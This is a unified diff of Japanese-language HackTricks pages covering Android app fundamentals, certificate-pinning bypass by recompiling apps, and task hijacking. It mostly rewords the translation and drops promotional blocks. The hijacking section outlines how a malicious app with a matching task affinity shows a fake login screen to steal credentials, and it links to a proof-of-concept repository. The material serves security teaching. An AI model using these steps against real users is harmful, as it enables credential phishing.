これらのアプリは一般的に**`/system/app`**または**`/system/priv-app`**ディレクトリにあり、その中には**最適化された**ものもあります(`classes.dex`ファイルが見つからないこともあります)。これらのアプリケーションは、時々**過剰な権限で実行されている**ため、確認する価値があります(ルートとして)。
|
||||
これらのアプリは一般的に**`/system/app`**または**`/system/priv-app`**ディレクトリにあり、その中には**最適化された**ものもあります(`classes.dex`ファイルが見つからないこともあります)。これらのアプリケーションは、時には**過剰な権限で実行されている**ため、確認する価値があります(ルートとして)。
|
||||
|
||||
* **AOSP**(Android OpenSource Project)**ROM**に付属しているもの
|
||||
* デバイスの**製造元**によって追加されたもの
|
||||
|
@ -81,7 +73,7 @@ suバイナリが設定されると、別のAndroidアプリが`su`バイナリ
|
|||
|
||||
### ROMs
|
||||
|
||||
**カスタムファームウェアをインストールしてOSを置き換えることが可能です**。これにより、古いデバイスの有用性を拡張したり、ソフトウェア制限を回避したり、最新のAndroidコードにアクセスしたりすることができます。\
|
||||
**カスタムファームウェアをインストールすることでOSを置き換えることが可能です**。これにより、古いデバイスの有用性を拡張したり、ソフトウェア制限を回避したり、最新のAndroidコードにアクセスしたりすることができます。\
|
||||
**OmniROM**や**LineageOS**は使用するのに最も人気のあるファームウェアの二つです。
|
||||
|
||||
**カスタムファームウェアをインストールするためにデバイスをルート化する必要はないことに注意してください**。**一部の製造元は**、文書化され、安全な方法でブートローダーのロック解除を許可しています。
|
||||
|
@ -96,7 +88,7 @@ suバイナリが設定されると、別のAndroidアプリが`su`バイナリ
|
|||
- APKの内容(網羅的ではありません)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc: バイナリXMLのような事前コンパイルされたリソースを含みます。
|
||||
- resources.arsc: バイナリXMLのようなプリコンパイルされたリソースを含みます。
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- ここに証明書が存在します!
|
||||
|
@ -117,11 +109,11 @@ suバイナリが設定されると、別のAndroidアプリが`su`バイナリ
|
|||
|
||||
Android開発では、**JavaまたはKotlin**がアプリ作成に使用されます。デスクトップアプリのようにJVMを使用する代わりに、Androidはこのコードを**Dalvik実行可能(DEX)バイトコード**にコンパイルします。以前は、Dalvik仮想マシンがこのバイトコードを処理していましたが、現在では新しいAndroidバージョンではAndroid Runtime(ART)が引き継いでいます。
|
||||
|
||||
リバースエンジニアリングでは、**Smali**が重要になります。これはDEXバイトコードの人間可読版で、ソースコードをバイトコード命令に変換するアセンブリ言語のように機能します。Smaliとbaksmaliは、この文脈でのアセンブリおよび逆アセンブリツールを指します。
|
||||
リバースエンジニアリングでは、**Smali**が重要になります。これはDEXバイトコードの人間が読めるバージョンで、ソースコードをバイトコード命令に変換するアセンブリ言語のように機能します。Smaliとbaksmaliは、この文脈でのアセンブリおよび逆アセンブリツールを指します。
|
||||
|
||||
## Intents
|
||||
|
||||
インテントは、Androidアプリがそのコンポーネント間または他のアプリと通信するための主要な手段です。これらのメッセージオブジェクトは、アプリ間またはコンポーネント間でデータを運ぶこともでき、HTTP通信でのGET/POSTリクエストのように機能します。
|
||||
インテントは、Androidアプリがそのコンポーネント間または他のアプリと通信するための主要な手段です。これらのメッセージオブジェクトは、アプリ間やコンポーネント間でデータを運ぶこともでき、HTTP通信でのGET/POSTリクエストのように機能します。
|
||||
|
||||
したがって、インテントは基本的に**コンポーネント間で渡されるメッセージ**です。インテントは**特定のコンポーネントやアプリに向けられる**ことも、**特定の受取人なしで送信される**こともできます。\
|
||||
簡単に言えば、インテントは次のように使用できます:
|
||||
|
@ -136,13 +128,13 @@ Android開発では、**JavaまたはKotlin**がアプリ作成に使用され
|
|||
|
||||
### Intent-Filter
|
||||
|
||||
**インテントフィルター**は、**アクティビティ、サービス、またはブロードキャストレシーバーが異なるタイプのインテントとどのように相互作用できるかを定義します**。基本的に、これらのコンポーネントの能力を説明し、どのようなアクションを実行できるか、またはどのようなブロードキャストを処理できるかを示します。これらのフィルターを宣言する主な場所は**AndroidManifest.xmlファイル**内ですが、ブロードキャストレシーバーの場合は、コーディングすることも選択肢です。
|
||||
**インテントフィルター**は、**アクティビティ、サービス、またはブロードキャストレシーバーが異なるタイプのインテントとどのように相互作用できるかを定義します**。基本的に、これらのコンポーネントの能力を説明し、どのようなアクションを実行できるか、またはどのようなブロードキャストを処理できるかを示します。これらのフィルターを宣言する主な場所は**AndroidManifest.xmlファイル**内ですが、ブロードキャストレシーバーの場合はコーディングすることも選択肢です。
|
||||
|
||||
インテントフィルターは、カテゴリ、アクション、およびデータフィルターで構成され、追加のメタデータを含めることができます。この設定により、コンポーネントは宣言された基準に一致する特定のインテントを処理できます。
|
||||
|
||||
Androidコンポーネント(アクティビティ/サービス/コンテンツプロバイダー/ブロードキャストレシーバー)の重要な側面は、その可視性または**公開状態**です。コンポーネントは、**`exported`**が**`true`**の値である場合、またはマニフェストにインテントフィルターが宣言されている場合、公開と見なされ、他のアプリと相互作用できます。ただし、開発者はこれらのコンポーネントを明示的にプライベートに保つ方法があり、他のアプリと意図せず相互作用しないようにすることができます。これは、マニフェスト定義で**`exported`**属性を**`false`**に設定することで実現されます。
|
||||
Androidコンポーネント(アクティビティ/サービス/コンテンツプロバイダー/ブロードキャストレシーバー)の重要な側面は、その可視性または**公開状態**です。コンポーネントは、**`exported`**が**`true`**の値である場合、またはマニフェスト内でインテントフィルターが宣言されている場合、公開と見なされ、他のアプリと相互作用できます。ただし、開発者はこれらのコンポーネントを明示的にプライベートに保つ方法があり、他のアプリと意図せず相互作用しないようにすることができます。これは、マニフェスト定義内で**`exported`**属性を**`false`**に設定することで実現されます。
|
||||
|
||||
さらに、開発者は特定の権限を要求することで、これらのコンポーネントへのアクセスをさらに保護するオプションがあります。**`permission`**属性を設定することで、指定された権限を持つアプリのみがコンポーネントにアクセスできるようにし、誰が相互作用できるかに対する追加のセキュリティと制御の層を追加します。
|
||||
さらに、開発者は特定の権限を要求することで、これらのコンポーネントへのアクセスをさらに保護するオプションがあります。**`permission`**属性を設定することで、指定された権限を持つアプリのみがコンポーネントにアクセスできるようにし、誰がそれと相互作用できるかに対する追加のセキュリティと制御の層を追加します。
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
|
@ -175,7 +167,7 @@ The **Action** of the previously declared intent is **ACTION\_SEND** and the **E
|
|||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
他のアプリケーションでは、以前に宣言されたインテントにアクセスするために、次のように使用できます:
|
||||
他のアプリケーションでは、以前に宣言されたインテントにアクセスするために次のように使用できます:
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
|
@ -187,14 +179,14 @@ context.startService(intent);
|
|||
|
||||
### Broadcast Intents
|
||||
|
||||
前述のインテントとは異なり、1つのアプリだけが受信するのではなく、ブロードキャストインテントは**複数のアプリで受信可能です**。ただし、APIバージョン14以降は、**メッセージを受信すべきアプリを指定することが可能です**。Intent.setPackageを使用します。
|
||||
前のインテントとは異なり、1つのアプリだけが受信するのではなく、ブロードキャストインテントは**複数のアプリで受信可能です**。ただし、APIバージョン14以降は、**メッセージを受信するアプリを指定することが可能です**。Intent.setPackageを使用します。
|
||||
|
||||
また、ブロードキャストを送信する際に**権限を指定することも可能です**。受信アプリはその権限を持っている必要があります。
|
||||
|
||||
ブロードキャストには**2種類**があります:**通常**(非同期)と**順序付き**(同期)。**順序**は**受信者要素内の設定された優先度**に基づいています。**各アプリはブロードキャストを処理、転送、または破棄することができます**。
|
||||
|
||||
`Context`クラスの関数`sendBroadcast(intent, receiverPermission)`を使用して**ブロードキャストを送信**することが可能です。\
|
||||
また、**`LocalBroadCastManager`**の**`sendBroadcast`**関数を使用すると、**メッセージがアプリを出ることはありません**。これを使用すると、受信者コンポーネントをエクスポートする必要すらありません。
|
||||
また、**`LocalBroadCastManager`**の**`sendBroadcast`**関数を使用すると、**メッセージがアプリを離れないことが保証されます**。これを使用すると、受信者コンポーネントをエクスポートする必要すらありません。
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
|
@ -222,7 +214,7 @@ Androidアプリケーションでは、**ディープリンク**を使用して
|
|||
```
|
||||
前の例のスキームは `exampleapp://` です(**`category BROWSABLE`** も注意してください)
|
||||
|
||||
次に、データフィールドで **host** と **path** を指定できます:
|
||||
次に、データフィールドで **host** と **path** を指定できます:
|
||||
```xml
|
||||
<data android:scheme="examplescheme"
|
||||
android:host="example"
|
||||
|
@ -239,7 +231,7 @@ android:host="example"
|
|||
|
||||
## AIDL - Androidインターフェース定義言語
|
||||
|
||||
**Androidインターフェース定義言語(AIDL)**は、Androidアプリケーションにおけるクライアントとサービス間の**プロセス間通信**(IPC)を容易にするために設計されています。他のプロセスのメモリに直接アクセスすることはAndroidでは許可されていないため、AIDLはオブジェクトをオペレーティングシステムが理解できる形式にマーシャリングすることで、異なるプロセス間の通信を容易にします。
|
||||
**Androidインターフェース定義言語(AIDL)**は、Androidアプリケーションにおける**プロセス間通信**(IPC)を通じてクライアントとサービス間の通信を促進するために設計されています。別のプロセスのメモリに直接アクセスすることはAndroidでは許可されていないため、AIDLはオブジェクトをオペレーティングシステムが理解できる形式にマーシャリングすることで、異なるプロセス間の通信を容易にします。
|
||||
|
||||
### 主要概念
|
||||
|
||||
|
@ -247,7 +239,7 @@ android:host="example"
|
|||
|
||||
- **メッセンジャー**: バウンドサービスとして機能するメッセンジャーは、`onBind`メソッドを通じてデータを処理することに重点を置いたIPCを促進します。このメソッドを注意深く検査し、安全でないデータ処理や機密関数の実行がないか確認することが重要です。
|
||||
|
||||
- **バインダー**: AIDLの抽象化によりバインダー・クラスの直接使用はあまり一般的ではありませんが、バインダーは異なるプロセスのメモリ空間間でデータ転送を促進するカーネルレベルのドライバーとして機能することを理解することは有益です。さらなる理解のために、リソースは[https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)で入手可能です。
|
||||
- **バインダー**: AIDLの抽象化によりバインダーの直接使用はあまり一般的ではありませんが、バインダーは異なるプロセスのメモリ空間間でデータ転送を促進するカーネルレベルのドライバーとして機能することを理解することは有益です。さらなる理解のために、リソースは[https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)で利用可能です。
|
||||
|
||||
## コンポーネント
|
||||
|
||||
|
@ -266,7 +258,7 @@ Androidアプリでは、**アクティビティ**は画面のようなもので
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
すべてのアプリがランチャーアクティビティを必要とするわけではなく、特にユーザーインターフェースを持たないバックグラウンドサービスのようなアプリは必要ありません。
|
||||
すべてのアプリがランチャーアクティビティを必要とするわけではなく、特にユーザーインターフェースのないバックグラウンドサービスのようなアプリは必要ありません。
|
||||
|
||||
アクティビティは、マニフェストで「exported」としてマークすることで、他のアプリやプロセスに利用可能にすることができます。この設定により、他のアプリがこのアクティビティを開始できるようになります:
|
||||
```markdown
|
||||
|
@ -298,7 +290,7 @@ super.onCreate();
|
|||
|
||||
[Services](https://developer.android.com/guide/components/services) は **バックグラウンドオペレーティブ** であり、ユーザーインターフェースなしでタスクを実行することができます。これらのタスクは、ユーザーが異なるアプリケーションに切り替えても実行を続けることができるため、サービスは **長時間実行される操作** にとって重要です。
|
||||
|
||||
サービスは多用途であり、さまざまな方法で開始できますが、**Intents** がアプリケーションのエントリーポイントとしてサービスを起動する主な方法です。`startService` メソッドを使用してサービスが開始されると、その `onStart` メソッドが動作を開始し、`stopService` メソッドが明示的に呼び出されるまで実行を続けます。あるいは、サービスの役割がアクティブなクライアント接続に依存している場合、`bindService` メソッドを使用してクライアントをサービスにバインドし、データの受け渡しのために `onBind` メソッドが呼び出されます。
|
||||
サービスは多用途であり、さまざまな方法で開始できますが、**Intents** がアプリケーションのエントリーポイントとしてサービスを起動する主な方法です。`startService` メソッドを使用してサービスが開始されると、その `onStart` メソッドが動作を開始し、`stopService` メソッドが明示的に呼び出されるまで実行を続けます。あるいは、サービスの役割がアクティブなクライアント接続に依存している場合、`bindService` メソッドを使用してクライアントをサービスにバインドし、データの受け渡しのために `onBind` メソッドを呼び出します。
|
||||
|
||||
サービスの興味深い応用には、バックグラウンドでの音楽再生やネットワークデータの取得が含まれ、ユーザーがアプリと対話することを妨げません。さらに、サービスは **エクスポート** を通じて同じデバイス上の他のプロセスにアクセス可能にすることができます。これはデフォルトの動作ではなく、Android Manifestファイルで明示的な設定が必要です:
|
||||
```xml
|
||||
|
@ -306,21 +298,21 @@ super.onCreate();
|
|||
```
|
||||
### Broadcast Receivers
|
||||
|
||||
**Broadcast receivers** は、メッセージングシステムにおけるリスナーとして機能し、複数のアプリケーションがシステムからの同じメッセージに応答できるようにします。アプリは **二つの主要な方法** で **レシーバーを登録** できます:アプリの **Manifest** を通じて、またはアプリのコード内で **`registerReceiver`** API を介して **動的に**。Manifest では、ブロードキャストは権限でフィルタリングされ、動的に登録されたレシーバーは登録時に権限を指定することもできます。
|
||||
**Broadcast receivers** は、メッセージングシステムにおけるリスナーとして機能し、複数のアプリケーションがシステムからの同じメッセージに応答できるようにします。アプリは **Manifest** を通じて、または **`registerReceiver`** API を介してアプリのコード内で **2つの主要な方法** で **レシーバーを登録** できます。Manifest では、ブロードキャストは権限でフィルタリングされ、動的に登録されたレシーバーは登録時に権限を指定することもできます。
|
||||
|
||||
**Intent フィルター** は、両方の登録方法において重要で、どのブロードキャストがレシーバーをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバーの **`onReceive`** メソッドが呼び出され、アプリが低バッテリーアラートに応じて動作を調整するなど、適切に反応できるようになります。
|
||||
**Intent フィルター** は、両方の登録方法で重要であり、どのブロードキャストがレシーバーをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバーの **`onReceive`** メソッドが呼び出され、アプリが低バッテリーアラートに応じて動作を調整するなど、適切に反応できるようになります。
|
||||
|
||||
ブロードキャストは **非同期** で、すべてのレシーバーに順序なしで到達することもあれば、**同期** で、レシーバーが設定された優先順位に基づいてブロードキャストを受け取ることもあります。ただし、どのアプリでも自分を優先させてブロードキャストを傍受できるため、潜在的なセキュリティリスクに注意することが重要です。
|
||||
ブロードキャストは **非同期** であり、すべてのレシーバーに順序なしで到達することも、**同期** であり、レシーバーが設定された優先順位に基づいてブロードキャストを受け取ることもできます。ただし、任意のアプリが自分自身を優先させてブロードキャストを傍受できる可能性があるため、潜在的なセキュリティリスクに注意することが重要です。
|
||||
|
||||
レシーバーの機能を理解するには、そのクラス内の **`onReceive`** メソッドを探します。このメソッドのコードは受信した Intent を操作でき、特に **Ordered Broadcasts** では、Intent を変更または削除する必要があるため、レシーバーによるデータ検証の必要性が強調されます。
|
||||
レシーバーの機能を理解するには、そのクラス内の **`onReceive`** メソッドを探してください。このメソッドのコードは受信した Intent を操作でき、特に **Ordered Broadcasts** では、データの検証がレシーバーによって必要であることを強調しています。Ordered Broadcasts は Intent を変更または削除することができます。
|
||||
|
||||
### Content Provider
|
||||
|
||||
**Content Providers** は、アプリ間で **構造化データを共有する** ために不可欠であり、データセキュリティを確保するために **権限** を実装する重要性を強調します。これにより、アプリはデータベース、ファイルシステム、またはウェブなど、さまざまなソースからデータにアクセスできます。特定の権限、例えば **`readPermission`** と **`writePermission`** は、アクセスを制御するために重要です。さらに、一時的なアクセスは、アプリのマニフェスト内の **`grantUriPermission`** 設定を通じて付与でき、`path`、`pathPrefix`、および `pathPattern` などの属性を利用して詳細なアクセス制御を行います。
|
||||
**Content Providers** は、アプリ間で **構造化データを共有する** ために不可欠であり、データセキュリティを確保するために **権限** を実装する重要性を強調しています。これにより、アプリはデータベース、ファイルシステム、またはウェブなど、さまざまなソースからデータにアクセスできます。特定の権限、例えば **`readPermission`** と **`writePermission`** は、アクセスを制御するために重要です。さらに、一時的なアクセスは、アプリのマニフェスト内の **`grantUriPermission`** 設定を通じて付与でき、`path`、`pathPrefix`、および `pathPattern` などの属性を利用して詳細なアクセス制御を行います。
|
||||
|
||||
入力検証は、SQL インジェクションなどの脆弱性を防ぐために重要です。Content Providers は、データ操作とアプリケーション間の共有を促進する基本的な操作をサポートします:`insert()`、`update()`、`delete()`、および `query()`。
|
||||
入力検証は、SQL インジェクションなどの脆弱性を防ぐために重要です。Content Providers は、データ操作とアプリケーション間の共有を促進する基本的な操作をサポートしています:`insert()`、`update()`、`delete()`、および `query()`。
|
||||
|
||||
**FileProvider** は、ファイルを安全に共有することに特化した Content Provider です。これは、フォルダーへのアクセスを制御するための特定の属性を持ってアプリのマニフェストで定義され、`android:exported` と `android:resource` がフォルダー構成を指します。機密データを誤って公開しないように、ディレクトリを共有する際には注意が必要です。
|
||||
**FileProvider** は、ファイルを安全に共有することに特化した Content Provider です。フォルダーへのアクセスを制御するために特定の属性を持ってアプリのマニフェストに定義され、`android:exported` と `android:resource` がフォルダー構成を指します。機密データが偶然に露出しないように、ディレクトリを共有する際には注意が必要です。
|
||||
|
||||
FileProvider の例のマニフェスト宣言:
|
||||
```xml
|
||||
|
@ -344,7 +336,7 @@ For further information check:
|
|||
|
||||
## WebViews
|
||||
|
||||
WebViewsはAndroidアプリ内の**ミニウェブブラウザ**のようなもので、ウェブまたはローカルファイルからコンテンツを取得します。通常のブラウザと同様のリスクに直面しますが、特定の**設定**を通じて**リスクを軽減する**方法があります。
|
||||
WebViewsはAndroidアプリ内の**ミニウェブブラウザ**のようなもので、ウェブまたはローカルファイルからコンテンツを取得します。通常のブラウザと同様のリスクに直面しますが、特定の**設定**を通じて**これらのリスクを軽減する**方法があります。
|
||||
|
||||
Androidは2つの主要なWebViewタイプを提供しています:
|
||||
|
||||
|
@ -353,28 +345,28 @@ Androidは2つの主要なWebViewタイプを提供しています:
|
|||
|
||||
重要な点は、WebViewブラウザはデバイスのメインブラウザと**クッキーを共有しない**ことです。
|
||||
|
||||
コンテンツを読み込むために、````loadUrl````, ````loadData````, および ````loadDataWithBaseURL````などのメソッドが利用可能です。これらのURLまたはファイルが**安全に使用できる**ことを確認することが重要です。セキュリティ設定は````WebSettings````クラスを通じて管理できます。例えば、````setJavaScriptEnabled(false)````でJavaScriptを無効にすることで、XSS攻撃を防ぐことができます。
|
||||
コンテンツを読み込むために、````loadUrl````, ````loadData````, および ````loadDataWithBaseURL````などのメソッドが利用可能です。これらのURLまたはファイルが**安全に使用できる**ことを確認することが重要です。セキュリティ設定は````WebSettings````クラスを通じて管理できます。たとえば、````setJavaScriptEnabled(false)````でJavaScriptを無効にすることで、XSS攻撃を防ぐことができます。
|
||||
|
||||
JavaScriptの「ブリッジ」はJavaオブジェクトがJavaScriptと相互作用することを可能にし、Android 4.2以降はセキュリティのためにメソッドに````@JavascriptInterface````を付ける必要があります。
|
||||
|
||||
コンテンツアクセスを許可する(````setAllowContentAccess(true)````)ことで、WebViewsはContent Providersにアクセスできますが、コンテンツURLが安全であることを確認しない限りリスクがあります。
|
||||
|
||||
ファイルアクセスを制御するために:
|
||||
- ファイルアクセスを無効にする(````setAllowFileAccess(false)````)ことで、ファイルシステムへのアクセスを制限し、特定のアセットに例外を設け、機密でないコンテンツのみに使用されることを保証します。
|
||||
- ファイルアクセスを無効にする(````setAllowFileAccess(false)````)ことで、ファイルシステムへのアクセスが制限され、特定のアセットに対して例外が設けられ、機密性のないコンテンツのみに使用されることが保証されます。
|
||||
|
||||
## Other App Components and Mobile Device Management
|
||||
|
||||
### **Digital Signing of Applications**
|
||||
|
||||
- **デジタル署名**はAndroidアプリに必須で、インストール前に**正当に作成された**ことを保証します。このプロセスではアプリの識別のために証明書が使用され、インストール時にデバイスのパッケージマネージャーによって検証される必要があります。アプリは**自己署名または外部CAによって認証**され、不正アクセスから保護され、デバイスへの配信中にアプリが改ざんされないことを保証します。
|
||||
- **デジタル署名**はAndroidアプリに必須であり、インストール前に**真正に作成された**ことを保証します。このプロセスはアプリの識別のために証明書を使用し、インストール時にデバイスのパッケージマネージャーによって検証される必要があります。アプリは**自己署名または外部CAによって認証**され、無許可のアクセスから保護され、デバイスへの配信中にアプリが改ざんされないことを保証します。
|
||||
|
||||
### **App Verification for Enhanced Security**
|
||||
|
||||
- **Android 4.2**以降、**Verify Apps**という機能により、ユーザーはインストール前にアプリの安全性を確認できます。この**検証プロセス**は、潜在的に有害なアプリに対してユーザーに警告を発したり、特に悪意のあるアプリのインストールを防いだりすることで、ユーザーのセキュリティを強化します。
|
||||
- **Android 4.2**以降、**Verify Apps**という機能により、ユーザーはアプリをインストール前に安全性を確認できます。この**検証プロセス**は、潜在的に有害なアプリに対してユーザーに警告を発したり、特に悪意のあるアプリのインストールを防いだりすることができ、ユーザーのセキュリティを強化します。
|
||||
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
- **MDMソリューション**は、**デバイス管理API**を通じてモバイルデバイスの**監視とセキュリティ**を提供します。これにより、モバイルデバイスを効果的に管理および保護するためにAndroidアプリのインストールが必要です。主な機能には、**パスワードポリシーの強制**、**ストレージ暗号化の義務付け**、および**リモートデータ消去の許可**が含まれ、モバイルデバイスに対する包括的な制御とセキュリティを確保します。
|
||||
- **MDMソリューション**は、**デバイス管理API**を通じてモバイルデバイスの**監視とセキュリティ**を提供します。これらは、モバイルデバイスを効果的に管理および保護するためにAndroidアプリのインストールを必要とします。主な機能には、**パスワードポリシーの強制**、**ストレージ暗号化の義務付け**、および**リモートデータ消去の許可**が含まれ、モバイルデバイスに対する包括的な制御とセキュリティを確保します。
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -385,12 +377,6 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -401,7 +387,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,23 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## タスク、バックスタックとフォアグラウンドアクティビティ
|
||||
|
||||
Androidにおいて、**タスク**はユーザーが特定の作業を完了するために対話するアクティビティのセットであり、**バックスタック**内に整理されています。このスタックは、アクティビティが開かれた時に基づいてアクティビティを順序付け、最も最近のアクティビティが最上部に表示され、**フォアグラウンドアクティビティ**となります。どの瞬間でも、このアクティビティだけが画面に表示され、**フォアグラウンドタスク**の一部となります。
|
||||
Androidにおいて、**タスク**はユーザーが特定の作業を完了するために対話するアクティビティのセットであり、**バックスタック**内に整理されています。このスタックはアクティビティが開かれた時に基づいて順序付けられ、最も最近のアクティビティが最上部に表示され、**フォアグラウンドアクティビティ**となります。どの瞬間でも、このアクティビティだけが画面に表示され、**フォアグラウンドタスク**の一部となります。
|
||||
|
||||
アクティビティの遷移の簡単な内訳は以下の通りです:
|
||||
|
||||
* **アクティビティ 1** はフォアグラウンドの唯一のアクティビティとして開始されます。
|
||||
* **アクティビティ 2** を起動すると、**アクティビティ 1** はバックスタックに押し出され、**アクティビティ 2** がフォアグラウンドに来ます。
|
||||
* **アクティビティ 3** を開始すると、**アクティビティ 1** と **アクティビティ 2** はスタックのさらに後ろに移動し、**アクティビティ 3** が前面に出ます。
|
||||
* **アクティビティ 2** を起動すると、**アクティビティ 1** がバックスタックに押し出され、**アクティビティ 2** がフォアグラウンドに来ます。
|
||||
* **アクティビティ 3** を開始すると、**アクティビティ 1** と **アクティビティ 2** がスタックのさらに後ろに移動し、**アクティビティ 3** が前面に出ます。
|
||||
* **アクティビティ 3** を閉じると、**アクティビティ 2** が再びフォアグラウンドに戻り、Androidの効率的なタスクナビゲーションメカニズムを示します。
|
||||
|
||||
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>)
|
||||
|
@ -40,7 +32,7 @@ Androidにおいて、**タスク**はユーザーが特定の作業を完了す
|
|||
|
||||
### タスクアフィニティと起動モードの概要
|
||||
|
||||
Androidアプリケーションにおいて、**タスクアフィニティ**はアクティビティの好ましいタスクを指定し、通常はアプリのパッケージ名に一致します。この設定は、攻撃を示すための概念実証(PoC)アプリを作成するのに重要です。
|
||||
Androidアプリケーションにおいて、**タスクアフィニティ**はアクティビティの好ましいタスクを指定し、通常はアプリのパッケージ名に一致します。この設定は、攻撃を示すための概念実証(PoC)アプリを作成する際に重要です。
|
||||
|
||||
### 起動モード
|
||||
|
||||
|
@ -48,11 +40,11 @@ Androidアプリケーションにおいて、**タスクアフィニティ**は
|
|||
|
||||
### 詳細な攻撃手順
|
||||
|
||||
1. **悪意のあるアプリのインストール**: 被害者は攻撃者のアプリをデバイスにインストールします。
|
||||
2. **初期アクティベーション**: 被害者は最初に悪意のあるアプリを開き、攻撃の準備をします。
|
||||
3. **ターゲットアプリの起動試行**: 被害者はターゲットアプリを開こうとします。
|
||||
4. **ハイジャックの実行**: 一致するタスクアフィニティにより、悪意のあるアプリがターゲットアプリの代わりに起動されます。
|
||||
5. **欺瞞**: 悪意のあるアプリはターゲットアプリに似た偽のログイン画面を表示し、ユーザーを騙して機密情報を入力させます。
|
||||
1. **悪意のあるアプリのインストール**: 被害者が攻撃者のアプリをデバイスにインストールします。
|
||||
2. **初期アクティベーション**: 被害者が最初に悪意のあるアプリを開き、攻撃の準備をします。
|
||||
3. **ターゲットアプリの起動試行**: 被害者がターゲットアプリを開こうとします。
|
||||
4. **ハイジャックの実行**: 一致するタスクアフィニティにより、悪意のあるアプリがターゲットアプリの代わりに起動します。
|
||||
5. **欺瞞**: 悪意のあるアプリがターゲットアプリに似た偽のログイン画面を表示し、ユーザーを騙して機密情報を入力させます。
|
||||
|
||||
この攻撃の実践的な実装については、GitHubのTask Hijacking Strandhoggリポジトリを参照してください: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)。
|
||||
|
||||
|
@ -65,11 +57,6 @@ Androidアプリケーションにおいて、**タスクアフィニティ**は
|
|||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -13,14 +13,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
一部のアプリケーションはユーザーがダウンロードした証明書を好まないため、特定のアプリのウェブトラフィックを検査するには、実際にアプリケーションを逆コンパイルし、いくつかの変更を加えて再コンパイルする必要があります。
|
||||
|
||||
# 自動
|
||||
|
@ -62,7 +54,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
